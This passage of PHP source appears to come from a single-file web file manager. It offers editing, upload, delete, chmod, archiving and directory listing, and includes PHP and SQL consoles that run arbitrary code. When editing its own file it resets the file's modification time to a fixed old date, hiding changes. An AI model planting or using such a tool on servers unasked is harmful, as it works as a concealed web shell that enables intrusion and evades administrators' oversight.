		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
